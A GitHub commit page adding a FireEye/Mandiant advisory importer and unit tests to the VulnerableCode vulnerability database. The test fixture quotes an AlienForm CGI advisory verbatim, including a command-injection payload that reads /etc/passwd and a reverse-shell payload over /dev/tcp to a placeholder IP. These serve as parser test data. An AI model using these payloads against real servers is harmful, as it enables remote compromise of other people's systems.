Skip to content

Commit 4270fd9

Browse files
ziadhanyziadhany
committed
Add Fireeye importer
Reference: #487 Signed-off-by: Ziad <ziadhany2016@gmail.com>
1 parent c94ed57 commit 4270fd9

File tree

2 files changed

+230
-0
lines changed

2 files changed

+230
-0
lines changed

‎vulnerabilities/importers/fireeye.py‎

Lines changed: 99 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,99 @@
1+
#
2+
# Copyright (c) nexB Inc. and others. All rights reserved.
3+
# VulnerableCode is a trademark of nexB Inc.
4+
# SPDX-License-Identifier: Apache-2.0
5+
# See http://www.apache.org/licenses/LICENSE-2.0 for the license text.
6+
# See https://github.com/nexB/vulnerablecode for support or download.
7+
# See https://aboutcode.org for more information about nexB OSS projects.
8+
#
9+
import os
10+
from typing import Iterable
11+
12+
from fetchcode.vcs.git import fetch_via_git
13+
14+
from vulnerabilities.importer import AdvisoryData
15+
from vulnerabilities.importer import Importer
16+
from vulnerabilities.importer import Reference
17+
from vulnerabilities.importer import logger
18+
from vulnerabilities.utils import build_description
19+
20+
21+
class FireyeImporter(Importer):
22+
spdx_license_expression = "CC0-1.0"
23+
license_url = "https://github.com/cloudsecurityalliance/gsd-database/blob/main/LICENSE"
24+
url = "git+https://github.com/mandiant/Vulnerability-Disclosures"
25+
26+
def advisory_data(self) -> Iterable[AdvisoryData]:
27+
forked_dir = fork_and_get_dir(self.url)
28+
for file in get_files(forked_dir):
29+
yield parse_advisory_data(file)
30+
31+
32+
def ForkError():
33+
pass
34+
35+
36+
def fork_and_get_dir(url) -> dict:
37+
try:
38+
fork_directory = fetch_via_git(url=url)
39+
return fork_directory.dest_dir
40+
except Exception as e:
41+
logger.error(f"Can't clone url {url}")
42+
raise ForkError() from e
43+
44+
45+
def get_files(fork_directory):
46+
for root, _, files in os.walk(fork_directory):
47+
if root in [".git"]:
48+
continue
49+
for file in files:
50+
if file.endswith(".md") and not file == "README.md":
51+
with open(os.path.join(root, file), "r", encoding="ISO-8859-1") as f:
52+
print(file)
53+
yield f.read()
54+
55+
56+
def parse_advisory_data(raw_data) -> AdvisoryData:
57+
raw_data = raw_data.replace("\n\n", "\n")
58+
md_list = raw_data.split("\n")
59+
md_dict = md_list_to_dict(md_list)
60+
61+
database_id = md_list[0][1::]
62+
summary = md_dict.get(database_id[1::]) or []
63+
description = md_dict.get("## Description") or []
64+
impact = md_dict.get("## Impact")
65+
exploit_ability = md_dict.get("## Exploitability")
66+
cve_ref = md_dict.get("## CVE Reference") or []
67+
tech_details = md_dict.get("## Technical Details")
68+
resolution = md_dict.get("## Resolution")
69+
disc_credits = md_dict.get("## Discovery Credits")
70+
disc_timeline = md_dict.get("## Disclosure Timeline")
71+
references = md_dict.get("## References") or []
72+
73+
return AdvisoryData(
74+
aliases=get_aliases(database_id, cve_ref),
75+
summary=build_description("".join(summary), "".join(description)),
76+
references=get_references(references),
77+
# date_published=disc_timeline,
78+
)
79+
80+
81+
def get_references(references):
82+
return [Reference(url=ref[2::]) for ref in references if ref]
83+
84+
85+
def get_aliases(database_id, cve_ref) -> []:
86+
cve_ref.append(database_id)
87+
return cve_ref
88+
89+
90+
def md_list_to_dict(md_list):
91+
md_dict = {}
92+
md_key = ""
93+
for md_line in md_list:
94+
if md_line.startswith("#"):
95+
md_dict[md_line] = []
96+
md_key = md_line
97+
else:
98+
md_dict[md_key].append(md_line)
99+
return md_dict

‎vulnerabilities/tests/test_fireeye.py‎

Lines changed: 131 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,131 @@
1+
#
2+
# Copyright (c) nexB Inc. and others. All rights reserved.
3+
# VulnerableCode is a trademark of nexB Inc.
4+
# SPDX-License-Identifier: Apache-2.0
5+
# See http://www.apache.org/licenses/LICENSE-2.0 for the license text.
6+
# See https://github.com/nexB/vulnerablecode for support or download.
7+
# See https://aboutcode.org for more information about nexB OSS projects.
8+
#
9+
from unittest import TestCase
10+
11+
from vulnerabilities.importer import Reference
12+
from vulnerabilities.importers.fireeye import get_aliases
13+
from vulnerabilities.importers.fireeye import get_references
14+
from vulnerabilities.importers.fireeye import md_list_to_dict
15+
16+
17+
class TestFireeyeImporter(TestCase):
18+
def test_md_list_to_dict(self):
19+
md_list = [
20+
"# FEYE-2020-0004",
21+
"## Description",
22+
"AlienForm v2.0.2 CGI script is vulnerable to remote code execution leading to server compromise by attackers. This vulnerability could be a derivative or unexplored area of CVE-2002-0934.",
23+
"## Impact",
24+
"High - Successful exploitation of this vulnerability results in the attacker remotely executing code on the affected systems. Remote code execution could lead to complete system compromise and the ability to gain access to user credentials and/or move laterally throughout the compromised environment.",
25+
"## Exploitability",
26+
"High - An attacker needs only to identify the affected CGI script is present on the server; a simple directory brute force can reveal the presence of the vulnerable CGI file.",
27+
"## CVE Reference",
28+
"CVE-2020-10948",
29+
"## Technical Details",
30+
"Mandiant discovered the affected server is vulnerable to command injection in CGI argument parameters",
31+
"Affected URL:",
32+
"http://<affected host>//cgibin/af2.cgi",
33+
"Example attack payload:",
34+
"POST //cgibin/af2.cgi HTTP/1.1 <br>",
35+
"Host: <affected host> <br>",
36+
"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0 <br>",
37+
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 <br>",
38+
"Accept-Language: en-US,en;q=0.5 <br>",
39+
"Accept-Encoding: gzip, deflate <br>",
40+
"Connection: close <br>",
41+
"Upgrade-Insecure-Requests: 1 <br>",
42+
"Content-Length: 38 <br>",
43+
"_browser_out=%7Ccat%20/etc/passwd%7C",
44+
"Reverse Shell Example:",
45+
"_browser_out=%7Cbash+-i+>%26+/dev/tcp/<IP>/8080+0>%261%7C",
46+
"## Resolution",
47+
"Defunct software no longer support by vendor; not fixed. FireEye Mandiant recommends disabling the affected CGI Script and to avoid using legacy CGI scripts in environments which do not have security support.",
48+
"## Discovery Credits",
49+
"Nikhith Tummalapalli, Mandiant FireEye",
50+
"## Disclosure Timeline",
51+
"- 19 Dec 2019: Attempted to email Jon Hedley, jon(at)cgi.tj, to report bug; email was bounced back",
52+
"- 19 Dec 2019: Searched for other contacts for Jon Hedley and Alienform via Linked-In and Twitter...no resulting contact information",
53+
"- 19 Dec 2019: Determined company was defunct and software is no longer maintained. The primary search results online were related to CVE-2002-0934, to which this bug is related and/or induced by its fix.",
54+
"- 24 Mar 2020: Searched again online for new updates to AlienForm contact information; produced same results as previous.",
55+
"- 24 Mar 2020: Reserved CVE with Mitre after 90 days",
56+
"- 1 April 2020: Posted and notified Mitre of reference",
57+
"## References ",
58+
"- http://1-4a.com/cgi-bin/alienform/af.cgi",
59+
"- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0934",
60+
"- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-10948",
61+
]
62+
assert md_list_to_dict(md_list) == {
63+
"# FEYE-2020-0004": [],
64+
"## Description": [
65+
"AlienForm v2.0.2 CGI script is vulnerable to remote code execution leading to server compromise by attackers. This vulnerability could be a derivative or unexplored area of CVE-2002-0934."
66+
],
67+
"## Impact": [
68+
"High - Successful exploitation of this vulnerability results in the attacker remotely executing code on the affected systems. Remote code execution could lead to complete system compromise and the ability to gain access to user credentials and/or move laterally throughout the compromised environment."
69+
],
70+
"## Exploitability": [
71+
"High - An attacker needs only to identify the affected CGI script is present on the server; a simple directory brute force can reveal the presence of the vulnerable CGI file."
72+
],
73+
"## CVE Reference": ["CVE-2020-10948"],
74+
"## Technical Details": [
75+
"Mandiant discovered the affected server is vulnerable to command injection in CGI argument parameters",
76+
"Affected URL:",
77+
"http://<affected host>//cgibin/af2.cgi",
78+
"Example attack payload:",
79+
"POST //cgibin/af2.cgi HTTP/1.1 <br>",
80+
"Host: <affected host> <br>",
81+
"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0 <br>",
82+
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 <br>",
83+
"Accept-Language: en-US,en;q=0.5 <br>",
84+
"Accept-Encoding: gzip, deflate <br>",
85+
"Connection: close <br>",
86+
"Upgrade-Insecure-Requests: 1 <br>",
87+
"Content-Length: 38 <br>",
88+
"_browser_out=%7Ccat%20/etc/passwd%7C",
89+
"Reverse Shell Example:",
90+
"_browser_out=%7Cbash+-i+>%26+/dev/tcp/<IP>/8080+0>%261%7C",
91+
],
92+
"## Resolution": [
93+
"Defunct software no longer support by vendor; not fixed. FireEye Mandiant recommends disabling the affected CGI Script and to avoid using legacy CGI scripts in environments which do not have security support."
94+
],
95+
"## Discovery Credits": ["Nikhith Tummalapalli, Mandiant FireEye"],
96+
"## Disclosure Timeline": [
97+
"- 19 Dec 2019: Attempted to email Jon Hedley, jon(at)cgi.tj, to report bug; email was bounced back",
98+
"- 19 Dec 2019: Searched for other contacts for Jon Hedley and Alienform via Linked-In and Twitter...no resulting contact information",
99+
"- 19 Dec 2019: Determined company was defunct and software is no longer maintained. The primary search results online were related to CVE-2002-0934, to which this bug is related and/or induced by its fix.",
100+
"- 24 Mar 2020: Searched again online for new updates to AlienForm contact information; produced same results as previous.",
101+
"- 24 Mar 2020: Reserved CVE with Mitre after 90 days",
102+
"- 1 April 2020: Posted and notified Mitre of reference",
103+
],
104+
"## References ": [
105+
"- http://1-4a.com/cgi-bin/alienform/af.cgi",
106+
"- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0934",
107+
"- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-10948",
108+
],
109+
}
110+
111+
def test_get_ref(self):
112+
assert get_references(
113+
[
114+
"- http://1-4a.com/cgi-bin/alienform/af.cgi",
115+
"- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0934",
116+
"- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-10948",
117+
]
118+
) == [
119+
Reference(url="http://1-4a.com/cgi-bin/alienform/af.cgi"),
120+
Reference(url="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0934"),
121+
Reference(url="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-10948"),
122+
]
123+
124+
assert get_references([]) == []
125+
126+
def test_get_aliases(self):
127+
assert get_aliases("MNDT-2021-0012", ["CVE-2021-44207"]) == [
128+
"CVE-2021-44207",
129+
"MNDT-2021-0012",
130+
]
131+
assert get_aliases("MNDT-2021-0012", []) == ["MNDT-2021-0012"]

0 commit comments

Comments
 (0)